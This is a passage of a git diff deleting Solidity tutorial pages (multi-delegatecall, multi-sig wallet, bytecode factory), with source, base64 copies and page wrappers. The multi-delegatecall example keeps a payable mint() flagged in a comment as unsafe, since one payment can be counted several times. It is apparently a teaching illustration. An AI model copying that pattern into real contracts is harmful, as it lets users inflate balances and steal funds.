sbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo=", - }, -] - -const html = `

An example of calling multiple functions with a single transaction, using delegatecall.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MultiDelegatecall {
-    error DelegatecallFailed();
-
-    function multiDelegatecall(
-        bytes[] memory data
-    ) external payable returns (bytes[] memory results) {
-        results = new bytes[](data.length);
-
-        for (uint i; i < data.length; i++) {
-            (bool ok, bytes memory res) = address(this).delegatecall(data[i]);
-            if (!ok) {
-                revert DelegatecallFailed();
-            }
-            results[i] = res;
-        }
-    }
-}
-
-// Why use multi delegatecall? Why not multi call?
-// alice -> multi call --- call ---> test (msg.sender = multi call)
-// alice -> test --- delegatecall ---> test (msg.sender = alice)
-contract TestMultiDelegatecall is MultiDelegatecall {
-    event Log(address caller, string func, uint i);
-
-    function func1(uint x, uint y) external {
-        // msg.sender = alice
-        emit Log(msg.sender, "func1", x + y);
-    }
-
-    function func2() external returns (uint) {
-        // msg.sender = alice
-        emit Log(msg.sender, "func2", 2);
-        return 111;
-    }
-
-    mapping(address => uint) public balanceOf;
-
-    // WARNING: unsafe code when used in combination with multi-delegatecall
-    // user can mint multiple times for the price of msg.value
-    function mint() external payable {
-        balanceOf[msg.sender] += msg.value;
-    }
-}
-
-contract Helper {
-    function getFunc1Data(uint x, uint y) external pure returns (bytes memory) {
-        return abi.encodeWithSelector(TestMultiDelegatecall.func1.selector, x, y);
-    }
-
-    function getFunc2Data() external pure returns (bytes memory) {
-        return abi.encodeWithSelector(TestMultiDelegatecall.func2.selector);
-    }
-
-    function getMintData() external pure returns (bytes memory) {
-        return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/multi-delegatecall/index.md b/src/pages/app/multi-delegatecall/index.md deleted file mode 100644 index a7212cd68..000000000 --- a/src/pages/app/multi-delegatecall/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Multi Delegatecall -version: 0.8.20 -description: An example of contract to call multiple functions in a single transaction -keywords: [app, application, multi, delegatecall] ---- - -An example of calling multiple functions with a single transaction, using `delegatecall`. - -```solidity -{{{MultiDelegatecall}}} -``` diff --git a/src/pages/app/multi-delegatecall/index.tsx b/src/pages/app/multi-delegatecall/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/multi-delegatecall/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/multi-sig-wallet/MultiSigWallet.sol b/src/pages/app/multi-sig-wallet/MultiSigWallet.sol deleted file mode 100644 index 4eefe4c1f..000000000 --- a/src/pages/app/multi-sig-wallet/MultiSigWallet.sol +++ /dev/null @@ -1,173 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract MultiSigWallet { - event Deposit(address indexed sender, uint amount, uint balance); - event SubmitTransaction( - address indexed owner, - uint indexed txIndex, - address indexed to, - uint value, - bytes data - ); - event ConfirmTransaction(address indexed owner, uint indexed txIndex); - event RevokeConfirmation(address indexed owner, uint indexed txIndex); - event ExecuteTransaction(address indexed owner, uint indexed txIndex); - - address[] public owners; - mapping(address => bool) public isOwner; - uint public numConfirmationsRequired; - - struct Transaction { - address to; - uint value; - bytes data; - bool executed; - uint numConfirmations; - } - - // mapping from tx index => owner => bool - mapping(uint => mapping(address => bool)) public isConfirmed; - - Transaction[] public transactions; - - modifier onlyOwner() { - require(isOwner[msg.sender], "not owner"); - _; - } - - modifier txExists(uint _txIndex) { - require(_txIndex < transactions.length, "tx does not exist"); - _; - } - - modifier notExecuted(uint _txIndex) { - require(!transactions[_txIndex].executed, "tx already executed"); - _; - } - - modifier notConfirmed(uint _txIndex) { - require(!isConfirmed[_txIndex][msg.sender], "tx already confirmed"); - _; - } - - constructor(address[] memory _owners, uint _numConfirmationsRequired) { - require(_owners.length > 0, "owners required"); - require( - _numConfirmationsRequired > 0 && - _numConfirmationsRequired <= _owners.length, - "invalid number of required confirmations" - ); - - for (uint i = 0; i < _owners.length; i++) { - address owner = _owners[i]; - - require(owner != address(0), "invalid owner"); - require(!isOwner[owner], "owner not unique"); - - isOwner[owner] = true; - owners.push(owner); - } - - numConfirmationsRequired = _numConfirmationsRequired; - } - - receive() external payable { - emit Deposit(msg.sender, msg.value, address(this).balance); - } - - function submitTransaction( - address _to, - uint _value, - bytes memory _data - ) public onlyOwner { - uint txIndex = transactions.length; - - transactions.push( - Transaction({ - to: _to, - value: _value, - data: _data, - executed: false, - numConfirmations: 0 - }) - ); - - emit SubmitTransaction(msg.sender, txIndex, _to, _value, _data); - } - - function confirmTransaction( - uint _txIndex - ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) notConfirmed(_txIndex) { - Transaction storage transaction = transactions[_txIndex]; - transaction.numConfirmations += 1; - isConfirmed[_txIndex][msg.sender] = true; - - emit ConfirmTransaction(msg.sender, _txIndex); - } - - function executeTransaction( - uint _txIndex - ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) { - Transaction storage transaction = transactions[_txIndex]; - - require( - transaction.numConfirmations >= numConfirmationsRequired, - "cannot execute tx" - ); - - transaction.executed = true; - - (bool success, ) = transaction.to.call{value: transaction.value}( - transaction.data - ); - require(success, "tx failed"); - - emit ExecuteTransaction(msg.sender, _txIndex); - } - - function revokeConfirmation( - uint _txIndex - ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) { - Transaction storage transaction = transactions[_txIndex]; - - require(isConfirmed[_txIndex][msg.sender], "tx not confirmed"); - - transaction.numConfirmations -= 1; - isConfirmed[_txIndex][msg.sender] = false; - - emit RevokeConfirmation(msg.sender, _txIndex); - } - - function getOwners() public view returns (address[] memory) { - return owners; - } - - function getTransactionCount() public view returns (uint) { - return transactions.length; - } - - function getTransaction( - uint _txIndex - ) - public - view - returns ( - address to, - uint value, - bytes memory data, - bool executed, - uint numConfirmations - ) - { - Transaction storage transaction = transactions[_txIndex]; - - return ( - transaction.to, - transaction.value, - transaction.data, - transaction.executed, - transaction.numConfirmations - ); - } -} diff --git a/src/pages/app/multi-sig-wallet/TestContract.sol b/src/pages/app/multi-sig-wallet/TestContract.sol deleted file mode 100644 index b0c39939f..000000000 --- a/src/pages/app/multi-sig-wallet/TestContract.sol +++ /dev/null @@ -1,14 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract TestContract { - uint public i; - - function callMe(uint j) public { - i += j; - } - - function getData() public pure returns (bytes memory) { - return abi.encodeWithSignature("callMe(uint256)", 123); - } -} diff --git a/src/pages/app/multi-sig-wallet/index.html.ts b/src/pages/app/multi-sig-wallet/index.html.ts deleted file mode 100644 index be07bf094..000000000 --- a/src/pages/app/multi-sig-wallet/index.html.ts +++ /dev/null @@ -1,216 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Multi-Sig Wallet" -export const description = "An example of multi-sig wallet in Solidity" - -export const keywords = ["app", "application", "multi", "sig", "signature", "wallet"] - -export const codes = [ - { - fileName: "MultiSigWallet.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IE11bHRpU2lnV2FsbGV0IHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIHNlbmRlciwgdWludCBhbW91bnQsIHVpbnQgYmFsYW5jZSk7CiAgICBldmVudCBTdWJtaXRUcmFuc2FjdGlvbigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsCiAgICAgICAgdWludCBpbmRleGVkIHR4SW5kZXgsCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIHRvLAogICAgICAgIHVpbnQgdmFsdWUsCiAgICAgICAgYnl0ZXMgZGF0YQogICAgKTsKICAgIGV2ZW50IENvbmZpcm1UcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IFJldm9rZUNvbmZpcm1hdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQgaW5kZXhlZCB0eEluZGV4KTsKICAgIGV2ZW50IEV4ZWN1dGVUcmFuc2FjdGlvbihhZGRyZXNzIGluZGV4ZWQgb3duZXIsIHVpbnQgaW5kZXhlZCB0eEluZGV4KTsKCiAgICBhZGRyZXNzW10gcHVibGljIG93bmVyczsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBib29sKSBwdWJsaWMgaXNPd25lcjsKICAgIHVpbnQgcHVibGljIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZDsKCiAgICBzdHJ1Y3QgVHJhbnNhY3Rpb24gewogICAgICAgIGFkZHJlc3MgdG87CiAgICAgICAgdWludCB2YWx1ZTsKICAgICAgICBieXRlcyBkYXRhOwogICAgICAgIGJvb2wgZXhlY3V0ZWQ7CiAgICAgICAgdWludCBudW1Db25maXJtYXRpb25zOwogICAgfQoKICAgIC8vIG1hcHBpbmcgZnJvbSB0eCBpbmRleCA9PiBvd25lciA9PiBib29sCiAgICBtYXBwaW5nKHVpbnQgPT4gbWFwcGluZyhhZGRyZXNzID0+IGJvb2wpKSBwdWJsaWMgaXNDb25maXJtZWQ7CgogICAgVHJhbnNhY3Rpb25bXSBwdWJsaWMgdHJhbnNhY3Rpb25zOwoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKGlzT3duZXJbbXNnLnNlbmRlcl0sICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIHR4RXhpc3RzKHVpbnQgX3R4SW5kZXgpIHsKICAgICAgICByZXF1aXJlKF90eEluZGV4IDwgdHJhbnNhY3Rpb25zLmxlbmd0aCwgInR4IGRvZXMgbm90IGV4aXN0Iik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciBub3RFeGVjdXRlZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghdHJhbnNhY3Rpb25zW190eEluZGV4XS5leGVjdXRlZCwgInR4IGFscmVhZHkgZXhlY3V0ZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIG1vZGlmaWVyIG5vdENvbmZpcm1lZCh1aW50IF90eEluZGV4KSB7CiAgICAgICAgcmVxdWlyZSghaXNDb25maXJtZWRbX3R4SW5kZXhdW21zZy5zZW5kZXJdLCAidHggYWxyZWFkeSBjb25maXJtZWQiKTsKICAgICAgICBfOwogICAgfQoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3NbXSBtZW1vcnkgX293bmVycywgdWludCBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkKSB7CiAgICAgICAgcmVxdWlyZShfb3duZXJzLmxlbmd0aCA+IDAsICJvd25lcnMgcmVxdWlyZWQiKTsKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICBfbnVtQ29uZmlybWF0aW9uc1JlcXVpcmVkID4gMCAmJgogICAgICAgICAgICAgICAgX251bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA8PSBfb3duZXJzLmxlbmd0aCwKICAgICAgICAgICAgImludmFsaWQgbnVtYmVyIG9mIHJlcXVpcmVkIGNvbmZpcm1hdGlvbnMiCiAgICAgICAgKTsKCiAgICAgICAgZm9yICh1aW50IGkgPSAwOyBpIDwgX293bmVycy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBhZGRyZXNzIG93bmVyID0gX293bmVyc1tpXTsKCiAgICAgICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgImludmFsaWQgb3duZXIiKTsKICAgICAgICAgICAgcmVxdWlyZSghaXNPd25lcltvd25lcl0sICJvd25lciBub3QgdW5pcXVlIik7CgogICAgICAgICAgICBpc093bmVyW293bmVyXSA9IHRydWU7CiAgICAgICAgICAgIG93bmVycy5wdXNoKG93bmVyKTsKICAgICAgICB9CgogICAgICAgIG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCA9IF9udW1Db25maXJtYXRpb25zUmVxdWlyZWQ7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUsIGFkZHJlc3ModGhpcykuYmFsYW5jZSk7CiAgICB9CgogICAgZnVuY3Rpb24gc3VibWl0VHJhbnNhY3Rpb24oCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgYnl0ZXMgbWVtb3J5IF9kYXRhCiAgICApIHB1YmxpYyBvbmx5T3duZXIgewogICAgICAgIHVpbnQgdHhJbmRleCA9IHRyYW5zYWN0aW9ucy5sZW5ndGg7CgogICAgICAgIHRyYW5zYWN0aW9ucy5wdXNoKAogICAgICAgICAgICBUcmFuc2FjdGlvbih7CiAgICAgICAgICAgICAgICB0bzogX3RvLAogICAgICAgICAgICAgICAgdmFsdWU6IF92YWx1ZSwKICAgICAgICAgICAgICAgIGRhdGE6IF9kYXRhLAogICAgICAgICAgICAgICAgZXhlY3V0ZWQ6IGZhbHNlLAogICAgICAgICAgICAgICAgbnVtQ29uZmlybWF0aW9uczogMAogICAgICAgICAgICB9KQogICAgICAgICk7CgogICAgICAgIGVtaXQgU3VibWl0VHJhbnNhY3Rpb24obXNnLnNlbmRlciwgdHhJbmRleCwgX3RvLCBfdmFsdWUsIF9kYXRhKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb25maXJtVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgbm90Q29uZmlybWVkKF90eEluZGV4KSB7CiAgICAgICAgVHJhbnNhY3Rpb24gc3RvcmFnZSB0cmFuc2FjdGlvbiA9IHRyYW5zYWN0aW9uc1tfdHhJbmRleF07CiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyArPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IHRydWU7CgogICAgICAgIGVtaXQgQ29uZmlybVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGVjdXRlVHJhbnNhY3Rpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zID49IG51bUNvbmZpcm1hdGlvbnNSZXF1aXJlZCwKICAgICAgICAgICAgImNhbm5vdCBleGVjdXRlIHR4IgogICAgICAgICk7CgogICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkID0gdHJ1ZTsKCiAgICAgICAgKGJvb2wgc3VjY2VzcywgKSA9IHRyYW5zYWN0aW9uLnRvLmNhbGx7dmFsdWU6IHRyYW5zYWN0aW9uLnZhbHVlfSgKICAgICAgICAgICAgdHJhbnNhY3Rpb24uZGF0YQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZShzdWNjZXNzLCAidHggZmFpbGVkIik7CgogICAgICAgIGVtaXQgRXhlY3V0ZVRyYW5zYWN0aW9uKG1zZy5zZW5kZXIsIF90eEluZGV4KTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXZva2VDb25maXJtYXRpb24oCiAgICAgICAgdWludCBfdHhJbmRleAogICAgKSBwdWJsaWMgb25seU93bmVyIHR4RXhpc3RzKF90eEluZGV4KSBub3RFeGVjdXRlZChfdHhJbmRleCkgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXF1aXJlKGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSwgInR4IG5vdCBjb25maXJtZWQiKTsKCiAgICAgICAgdHJhbnNhY3Rpb24ubnVtQ29uZmlybWF0aW9ucyAtPSAxOwogICAgICAgIGlzQ29uZmlybWVkW190eEluZGV4XVttc2cuc2VuZGVyXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IFJldm9rZUNvbmZpcm1hdGlvbihtc2cuc2VuZGVyLCBfdHhJbmRleCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0T3duZXJzKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYWRkcmVzc1tdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBvd25lcnM7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VHJhbnNhY3Rpb25Db3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gdHJhbnNhY3Rpb25zLmxlbmd0aDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRUcmFuc2FjdGlvbigKICAgICAgICB1aW50IF90eEluZGV4CiAgICApCiAgICAgICAgcHVibGljCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKAogICAgICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgICAgICB1aW50IHZhbHVlLAogICAgICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSwKICAgICAgICAgICAgYm9vbCBleGVjdXRlZCwKICAgICAgICAgICAgdWludCBudW1Db25maXJtYXRpb25zCiAgICAgICAgKQogICAgewogICAgICAgIFRyYW5zYWN0aW9uIHN0b3JhZ2UgdHJhbnNhY3Rpb24gPSB0cmFuc2FjdGlvbnNbX3R4SW5kZXhdOwoKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICB0cmFuc2FjdGlvbi50bywKICAgICAgICAgICAgdHJhbnNhY3Rpb24udmFsdWUsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmRhdGEsCiAgICAgICAgICAgIHRyYW5zYWN0aW9uLmV4ZWN1dGVkLAogICAgICAgICAgICB0cmFuc2FjdGlvbi5udW1Db25maXJtYXRpb25zCiAgICAgICAgKTsKICAgIH0KfQo=", - }, - { - fileName: "TestContract.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RDb250cmFjdCB7CiAgICB1aW50IHB1YmxpYyBpOwoKICAgIGZ1bmN0aW9uIGNhbGxNZSh1aW50IGopIHB1YmxpYyB7CiAgICAgICAgaSArPSBqOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldERhdGEoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYWJpLmVuY29kZVdpdGhTaWduYXR1cmUoImNhbGxNZSh1aW50MjU2KSIsIDEyMyk7CiAgICB9Cn0K", - }, -] - -const html = `

Let's create an multi-sig wallet. Here are the specifications.

-

The wallet owners can

-
    -
  • submit a transaction
  • -
  • approve and revoke approval of pending transactions
  • -
  • anyone can execute a transaction after enough owners has approved it.
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract MultiSigWallet {
-    event Deposit(address indexed sender, uint amount, uint balance);
-    event SubmitTransaction(
-        address indexed owner,
-        uint indexed txIndex,
-        address indexed to,
-        uint value,
-        bytes data
-    );
-    event ConfirmTransaction(address indexed owner, uint indexed txIndex);
-    event RevokeConfirmation(address indexed owner, uint indexed txIndex);
-    event ExecuteTransaction(address indexed owner, uint indexed txIndex);
-
-    address[] public owners;
-    mapping(address => bool) public isOwner;
-    uint public numConfirmationsRequired;
-
-    struct Transaction {
-        address to;
-        uint value;
-        bytes data;
-        bool executed;
-        uint numConfirmations;
-    }
-
-    // mapping from tx index => owner => bool
-    mapping(uint => mapping(address => bool)) public isConfirmed;
-
-    Transaction[] public transactions;
-
-    modifier onlyOwner() {
-        require(isOwner[msg.sender], "not owner");
-        _;
-    }
-
-    modifier txExists(uint _txIndex) {
-        require(_txIndex < transactions.length, "tx does not exist");
-        _;
-    }
-
-    modifier notExecuted(uint _txIndex) {
-        require(!transactions[_txIndex].executed, "tx already executed");
-        _;
-    }
-
-    modifier notConfirmed(uint _txIndex) {
-        require(!isConfirmed[_txIndex][msg.sender], "tx already confirmed");
-        _;
-    }
-
-    constructor(address[] memory _owners, uint _numConfirmationsRequired) {
-        require(_owners.length > 0, "owners required");
-        require(
-            _numConfirmationsRequired > 0 &&
-                _numConfirmationsRequired <= _owners.length,
-            "invalid number of required confirmations"
-        );
-
-        for (uint i = 0; i < _owners.length; i++) {
-            address owner = _owners[i];
-
-            require(owner != address(0), "invalid owner");
-            require(!isOwner[owner], "owner not unique");
-
-            isOwner[owner] = true;
-            owners.push(owner);
-        }
-
-        numConfirmationsRequired = _numConfirmationsRequired;
-    }
-
-    receive() external payable {
-        emit Deposit(msg.sender, msg.value, address(this).balance);
-    }
-
-    function submitTransaction(
-        address _to,
-        uint _value,
-        bytes memory _data
-    ) public onlyOwner {
-        uint txIndex = transactions.length;
-
-        transactions.push(
-            Transaction({
-                to: _to,
-                value: _value,
-                data: _data,
-                executed: false,
-                numConfirmations: 0
-            })
-        );
-
-        emit SubmitTransaction(msg.sender, txIndex, _to, _value, _data);
-    }
-
-    function confirmTransaction(
-        uint _txIndex
-    ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) notConfirmed(_txIndex) {
-        Transaction storage transaction = transactions[_txIndex];
-        transaction.numConfirmations += 1;
-        isConfirmed[_txIndex][msg.sender] = true;
-
-        emit ConfirmTransaction(msg.sender, _txIndex);
-    }
-
-    function executeTransaction(
-        uint _txIndex
-    ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) {
-        Transaction storage transaction = transactions[_txIndex];
-
-        require(
-            transaction.numConfirmations >= numConfirmationsRequired,
-            "cannot execute tx"
-        );
-
-        transaction.executed = true;
-
-        (bool success, ) = transaction.to.call{value: transaction.value}(
-            transaction.data
-        );
-        require(success, "tx failed");
-
-        emit ExecuteTransaction(msg.sender, _txIndex);
-    }
-
-    function revokeConfirmation(
-        uint _txIndex
-    ) public onlyOwner txExists(_txIndex) notExecuted(_txIndex) {
-        Transaction storage transaction = transactions[_txIndex];
-
-        require(isConfirmed[_txIndex][msg.sender], "tx not confirmed");
-
-        transaction.numConfirmations -= 1;
-        isConfirmed[_txIndex][msg.sender] = false;
-
-        emit RevokeConfirmation(msg.sender, _txIndex);
-    }
-
-    function getOwners() public view returns (address[] memory) {
-        return owners;
-    }
-
-    function getTransactionCount() public view returns (uint) {
-        return transactions.length;
-    }
-
-    function getTransaction(
-        uint _txIndex
-    )
-        public
-        view
-        returns (
-            address to,
-            uint value,
-            bytes memory data,
-            bool executed,
-            uint numConfirmations
-        )
-    {
-        Transaction storage transaction = transactions[_txIndex];
-
-        return (
-            transaction.to,
-            transaction.value,
-            transaction.data,
-            transaction.executed,
-            transaction.numConfirmations
-        );
-    }
-}
-

Here is a contract to test sending transactions from the multi-sig wallet

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract TestContract {
-    uint public i;
-
-    function callMe(uint j) public {
-        i += j;
-    }
-
-    function getData() public pure returns (bytes memory) {
-        return abi.encodeWithSignature("callMe(uint256)", 123);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/multi-sig-wallet/index.md b/src/pages/app/multi-sig-wallet/index.md deleted file mode 100644 index 68c220099..000000000 --- a/src/pages/app/multi-sig-wallet/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Multi-Sig Wallet -version: 0.8.20 -description: An example of multi-sig wallet in Solidity -keywords: [app, application, multi, sig, signature, wallet] ---- - -Let's create an multi-sig wallet. Here are the specifications. - -The wallet owners can - -- submit a transaction -- approve and revoke approval of pending transactions -- anyone can execute a transaction after enough owners has approved it. - -```solidity -{{{MultiSigWallet}}} -``` - -Here is a contract to test sending transactions from the multi-sig wallet - -```solidity -{{{TestContract}}} -``` diff --git a/src/pages/app/multi-sig-wallet/index.tsx b/src/pages/app/multi-sig-wallet/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/multi-sig-wallet/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/simple-bytecode-contract/Factory.sol b/src/pages/app/simple-bytecode-contract/Factory.sol deleted file mode 100644 index daeeb773d..000000000 --- a/src/pages/app/simple-bytecode-contract/Factory.sol +++ /dev/null @@ -1,56 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Factory { - event Log(address addr); - - // Deploys a contract that always returns 42 - function deploy() external { - bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3"; - address addr; - assembly { - // create(value, offset, size) - addr := create(0, add(bytecode, 0x20), 0x13) - } - require(addr != address(0)); - - emit Log(addr); - } -} - -interface IContract { - function getMeaningOfLife() external view returns (uint); -} - -// https://www.evm.codes/playground -/* -Run time code - return 42 -602a60005260206000f3 - -// Store 42 to memory -mstore(p, v) - store v at memory p to p + 32 - -PUSH1 0x2a -PUSH1 0 -MSTORE - -// Return 32 bytes from memory -return(p, s) - end execution and return data from memory p to p + s - -PUSH1 0x20 -PUSH1 0 -RETURN - -Creation code - return runtime code -69602a60005260206000f3600052600a6016f3 - -// Store run time code to memory -PUSH10 0X602a60005260206000f3 -PUSH1 0 -MSTORE - -// Return 10 bytes from memory starting at offset 22 -PUSH1 0x0a -PUSH1 0x16 -RETURN -*/ diff --git a/src/pages/app/simple-bytecode-contract/index.html.ts b/src/pages/app/simple-bytecode-contract/index.html.ts deleted file mode 100644 index 1eed5ca74..000000000 --- a/src/pages/app/simple-bytecode-contract/index.html.ts +++ /dev/null @@ -1,74 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Simple Bytecode Contract" -export const description = "Simple example of contract written in bytecode" - -export const keywords = ["app", "application", "simple", "bytecode", "contract"] - -export const codes = [ - { - fileName: "Factory.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEZhY3RvcnkgewogICAgZXZlbnQgTG9nKGFkZHJlc3MgYWRkcik7CgogICAgLy8gRGVwbG95cyBhIGNvbnRyYWN0IHRoYXQgYWx3YXlzIHJldHVybnMgNDIKICAgIGZ1bmN0aW9uIGRlcGxveSgpIGV4dGVybmFsIHsKICAgICAgICBieXRlcyBtZW1vcnkgYnl0ZWNvZGUgPSBoZXgiNjk2MDJhNjAwMDUyNjAyMDYwMDBmMzYwMDA1MjYwMGE2MDE2ZjMiOwogICAgICAgIGFkZHJlc3MgYWRkcjsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIGNyZWF0ZSh2YWx1ZSwgb2Zmc2V0LCBzaXplKQogICAgICAgICAgICBhZGRyIDo9IGNyZWF0ZSgwLCBhZGQoYnl0ZWNvZGUsIDB4MjApLCAweDEzKQogICAgICAgIH0KICAgICAgICByZXF1aXJlKGFkZHIgIT0gYWRkcmVzcygwKSk7CgogICAgICAgIGVtaXQgTG9nKGFkZHIpOwogICAgfQp9CgppbnRlcmZhY2UgSUNvbnRyYWN0IHsKICAgIGZ1bmN0aW9uIGdldE1lYW5pbmdPZkxpZmUoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwp9CgovLyBodHRwczovL3d3dy5ldm0uY29kZXMvcGxheWdyb3VuZAovKgpSdW4gdGltZSBjb2RlIC0gcmV0dXJuIDQyCjYwMmE2MDAwNTI2MDIwNjAwMGYzCgovLyBTdG9yZSA0MiB0byBtZW1vcnkKbXN0b3JlKHAsIHYpIC0gc3RvcmUgdiBhdCBtZW1vcnkgcCB0byBwICsgMzIKClBVU0gxIDB4MmEKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAzMiBieXRlcyBmcm9tIG1lbW9yeQpyZXR1cm4ocCwgcykgLSBlbmQgZXhlY3V0aW9uIGFuZCByZXR1cm4gZGF0YSBmcm9tIG1lbW9yeSBwIHRvIHAgKyBzCgpQVVNIMSAweDIwClBVU0gxIDAKUkVUVVJOCgpDcmVhdGlvbiBjb2RlIC0gcmV0dXJuIHJ1bnRpbWUgY29kZQo2OTYwMmE2MDAwNTI2MDIwNjAwMGYzNjAwMDUyNjAwYTYwMTZmMwoKLy8gU3RvcmUgcnVuIHRpbWUgY29kZSB0byBtZW1vcnkKUFVTSDEwIDBYNjAyYTYwMDA1MjYwMjA2MDAwZjMKUFVTSDEgMApNU1RPUkUKCi8vIFJldHVybiAxMCBieXRlcyBmcm9tIG1lbW9yeSBzdGFydGluZyBhdCBvZmZzZXQgMjIKUFVTSDEgMHgwYQpQVVNIMSAweDE2ClJFVFVSTgoqLwo=", - }, -] - -const html = `

